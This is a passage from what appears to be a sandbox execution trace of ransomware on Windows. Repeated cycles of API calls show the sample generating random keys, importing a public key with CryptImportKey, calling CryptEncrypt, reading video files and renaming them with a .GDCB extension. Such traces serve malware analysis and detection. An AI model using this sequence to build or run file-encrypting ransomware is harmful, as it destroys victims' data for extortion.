"c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\2tgn8j_vazgkskt.mp4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\2TGN8j_vaZgksKT.mp4.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\2tgn8j_vazgkskt.mp4.gdcb")) returned 1 [0142.798] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed0e0) returned 1 [0142.798] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.798] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.798] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0142.798] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0142.798] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0142.799] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.799] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.799] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0142.799] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.799] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0142.801] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37d9c0) returned 1 [0142.801] CryptGetKeyParam (in: hKey=0x37d9c0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.801] CryptEncrypt (in: hKey=0x37d9c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0142.801] GetLastError () returned 0x0 [0142.801] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.801] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0142.803] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37d900) returned 1 [0142.803] CryptGetKeyParam (in: hKey=0x37d900, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.803] CryptEncrypt (in: hKey=0x37d900, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0142.803] GetLastError () returned 0x0 [0142.803] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.803] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\bGoaUzmEXEhDXqBYf1.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\bgoauzmexehdxqbyf1.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0142.803] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0142.804] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0142.804] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0xfd61, lpOverlapped=0x0) returned 1 [0142.816] VirtualAlloc (lpAddress=0x0, dwSize=0xfd70, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0142.820] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\bGoaUzmEXEhDXqBYf1.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\bgoauzmexehdxqbyf1.mkv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\bGoaUzmEXEhDXqBYf1.mkv.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\bgoauzmexehdxqbyf1.mkv.gdcb")) returned 1 [0142.821] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0142.822] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.822] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.822] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0142.822] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0142.822] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0142.822] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.822] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.822] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0142.822] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.822] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed300) returned 1 [0142.824] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8080) returned 1 [0142.825] CryptGetKeyParam (in: hKey=0x28a8080, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.825] CryptEncrypt (in: hKey=0x28a8080, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0142.825] GetLastError () returned 0x0 [0142.825] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0142.825] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0142.827] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a8340) returned 1 [0142.827] CryptGetKeyParam (in: hKey=0x28a8340, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.827] CryptEncrypt (in: hKey=0x28a8340, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0142.827] GetLastError () returned 0x0 [0142.827] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.827] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\dUrCm0.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\durcm0.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0142.827] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0142.828] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0142.828] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0xa52, lpOverlapped=0x0) returned 1 [0142.838] VirtualAlloc (lpAddress=0x0, dwSize=0xa60, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0142.847] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\dUrCm0.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\durcm0.mkv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\dUrCm0.mkv.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\durcm0.mkv.gdcb")) returned 1 [0142.848] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0142.848] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.849] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.849] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0142.849] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.849] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0142.849] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.849] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.849] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0142.849] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.849] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed300) returned 1 [0142.851] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37dc40) returned 1 [0142.851] CryptGetKeyParam (in: hKey=0x37dc40, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.851] CryptEncrypt (in: hKey=0x37dc40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0142.852] GetLastError () returned 0x0 [0142.852] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0142.852] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0142.854] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28a84c0) returned 1 [0142.854] CryptGetKeyParam (in: hKey=0x28a84c0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.854] CryptEncrypt (in: hKey=0x28a84c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0142.854] GetLastError () returned 0x0 [0142.854] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.854] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\JOfdh4o6jslX.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\jofdh4o6jslx.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0142.854] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0142.855] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0142.855] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0xe307, lpOverlapped=0x0) returned 1 [0142.867] VirtualAlloc (lpAddress=0x0, dwSize=0xe310, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0142.872] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\JOfdh4o6jslX.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\jofdh4o6jslx.mp4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\JOfdh4o6jslX.mp4.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\jofdh4o6jslx.mp4.gdcb")) returned 1 [0142.872] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0142.872] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0142.872] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0142.873] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0142.878] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0142.878] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.878] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.878] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0142.878] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.878] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ed0e0) returned 1 [0142.879] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.879] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.879] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0142.879] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0142.879] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0142.881] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x28f4f10) returned 1 [0142.881] CryptGetKeyParam (in: hKey=0x28f4f10, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0142.881] CryptEncrypt (in: hKey=0x28f4f10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0142.881] GetLastError () returned 0x0 [0142.881] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.881] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0142.883] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x28f5190) returned 1 [0142.883] CryptGetKeyParam (in: hKey=0x28f5190, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0142.883] CryptEncrypt (in: hKey=0x28f5190, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0142.883] GetLastError () returned 0x0 [0142.883] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.883] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\M VM-W8ibnNtUjYzZy1\\8BQk0ewUYfCpH5.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\m vm-w8ibnntujyzzy1\\8bqk0ewuyfcph5.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0142.883] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0142.884] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0142.884] ReadFile (in: hFile=0x4f0, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285efc0*=0x25be, lpOverlapped=0x0) returned 1 [0142.894] VirtualAlloc (lpAddress=0x0, dwSize=0x25c0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0142.897] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\M VM-W8ibnNtUjYzZy1\\8BQk0ewUYfCpH5.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\m vm-w8ibnntujyzzy1\\8bqk0ewuyfcph5.mp4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\M VM-W8ibnNtUjYzZy1\\8BQk0ewUYfCpH5.mp4.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\m vm-w8ibnntujyzzy1\\8bqk0ewuyfcph5.mp4.gdcb")) returned 1 [0142.898] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0142.898] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0142.898] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0142.898] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0142.901] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ecfd0) returned 1 [0142.902] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.902] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.902] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0142.902] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0142.902] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ecc18) returned 1 [0142.903] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.903] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.903] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0142.903] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.903] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ecca0) returned 1 [0142.905] CryptImportKey (in: hProv=0x2ecca0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x28f4f90) returned 1 [0142.905] CryptGetKeyParam (in: hKey=0x28f4f90, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0142.905] CryptEncrypt (in: hKey=0x28f4f90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0142.905] GetLastError () returned 0x0 [0142.905] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0142.905] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ecc18) returned 1 [0142.907] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x28f4e90) returned 1 [0142.907] CryptGetKeyParam (in: hKey=0x28f4e90, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0142.907] CryptEncrypt (in: hKey=0x28f4e90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0142.907] GetLastError () returned 0x0 [0142.907] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.907] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\M VM-W8ibnNtUjYzZy1\\aFOzj3YZTHvF\\0RdiLe2R39_-D0kBjV.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\m vm-w8ibnntujyzzy1\\afozj3yzthvf\\0rdile2r39_-d0kbjv.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0142.907] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0142.908] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0142.908] ReadFile (in: hFile=0x4f4, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ed38, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285ed38*=0xb4f1, lpOverlapped=0x0) returned 1 [0142.917] VirtualAlloc (lpAddress=0x0, dwSize=0xb500, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0142.921] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\M VM-W8ibnNtUjYzZy1\\aFOzj3YZTHvF\\0RdiLe2R39_-D0kBjV.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\m vm-w8ibnntujyzzy1\\afozj3yzthvf\\0rdile2r39_-d0kbjv.avi"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\M VM-W8ibnNtUjYzZy1\\aFOzj3YZTHvF\\0RdiLe2R39_-D0kBjV.avi.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\m vm-w8ibnntujyzzy1\\afozj3yzthvf\\0rdile2r39_-d0kbjv.avi.gdcb")) returned 1 [0142.921] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0142.921] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0142.922] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0142.922] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0142.924] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0142.924] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0142.924] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0142.924] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0142.937] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x2ecfd0) returned 1 [0142.937] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.937] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.937] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0142.937] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0142.937] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x2ecc18) returned 1 [0142.938] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 